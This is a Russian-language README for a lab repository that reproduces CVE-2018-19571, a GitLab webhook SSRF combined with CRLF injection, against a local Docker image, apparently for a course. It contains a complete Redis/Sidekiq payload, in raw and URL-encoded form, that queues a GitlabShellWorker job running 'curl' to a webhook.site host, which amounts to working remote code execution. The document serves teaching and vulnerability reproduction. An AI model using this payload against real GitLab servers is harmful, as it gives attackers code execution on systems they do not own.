
Демонстрация CVE-2018-19571: GitLab SSRF CVE
Этот репозиторий является воспроизведением CVE-2018-19571 и демонстрирует, как в сочетании с эксплуатацией CRLF-инъекции это может привести к удалённому выполнению кода (RCE).
GitLab CE/EE версий с 8.18 до 11.x (до 11.3.11), с 11.4 до 11.4.8 и с 11.5 до 11.5.1 уязвимы к SSRF в вебхуках.
Для воспроизведения мы будем использовать уязвимый образ GitLab и запускать его с помощью Docker Compose.
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up
Цель — предоставить URL вебхука, который при обработке приведёт к отправке полезной нагрузки в Redis.
Эта полезная нагрузка, которая будет поставлена в очередь, будет содержать задачу Sidekiq. При выполнении эта задача запустит произвольный шелл-код. В нашем случае она скопирует нам значение флага.
Сначала мы пройдём по шагам, а затем объясним, что делает каждый из них.
Создайте учётную запись или войдите под учётной записью root.
Пароль root должен быть password, как указано в файле initial_root_password, но иногда он не загружается должным образом.
В таких случаях потребуется изменить пароль учётной записи root напрямую.
docker exec -it gitlab-ssrf_web_1 /bin/bash
# Внутри оболочки
gitlab-rails console
# Внутри консоли
user = User.find_by_username 'root'
user.password = 'password'
user.password_confirmation = 'password'
user.save!
Затем перейдите по адресу http://localhost:5080 и войдите.

Перейдите на страницу создания проекта.
Затем откройте http://localhost:5080/projects/new и нажмите вкладку Import project. Вы должны увидеть опцию: Repo by URL. Мы будем использовать её для выполнения нашей SSRF-атаки.

Создайте вебхук для получения флага.
Создайте URL вебхука на https://webhook.site/.
Замените URL вебхука в следующей полезной нагрузке:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
Затем кодируем вышеуказанное с помощью URL Encoder. Обратите внимание: кодировать будем только полезную нагрузку (включая пробелы в начале и переносы строк), а не первую и последнюю строки. Также необходимо использовать CRLF. Наконец, замените следующие символы (если они есть) на их соответствующие кодировки:
_: %5F.: %2E-: %2DЕсли вышеуказанное не работает, возможно, потребуется включить исходящие запросы к внутренним службам.

Это можно сделать по адресу http://localhost:5080/admin/application_settings/network после входа под root.
Мы используем две уязвимости для этой атаки. Первая — SSRF, при которой внутренние службы могут быть доступны через IPv6. Подробнее можно узнать в GitLab issue здесь: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242.
Вторая уязвимость заключается в том, что в URL для вебхуков допускались разрывы строк.
В совокупности это позволяет нам передать полезную нагрузку внутренней службе. В данном случае мы нацеливаемся на локальный сервис Redis.
Передаваемая полезная нагрузка помещает в очередь Redis новую задачу, которая затем обрабатывается Sidekiq — асинхронным исполнителем задач для Ruby on Rails. Мы целенаправленно нацеливаемся на класс задачи GitlabShellWorker, который позволяет выполнять произвольный код.
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
Таким образом, передав open('| curl <URL HERE>').read и выполнив это через class_eval, мы можем запустить удалённое выполнение кода.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
(Или вы можете просто использовать эту полезную нагрузку выше и проверить результат на https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/).

Вы должны увидеть, что был отправлен GET-запрос к вебхуку (и он будет повторяться, так как GitLab многократно пытается получить репозиторий).
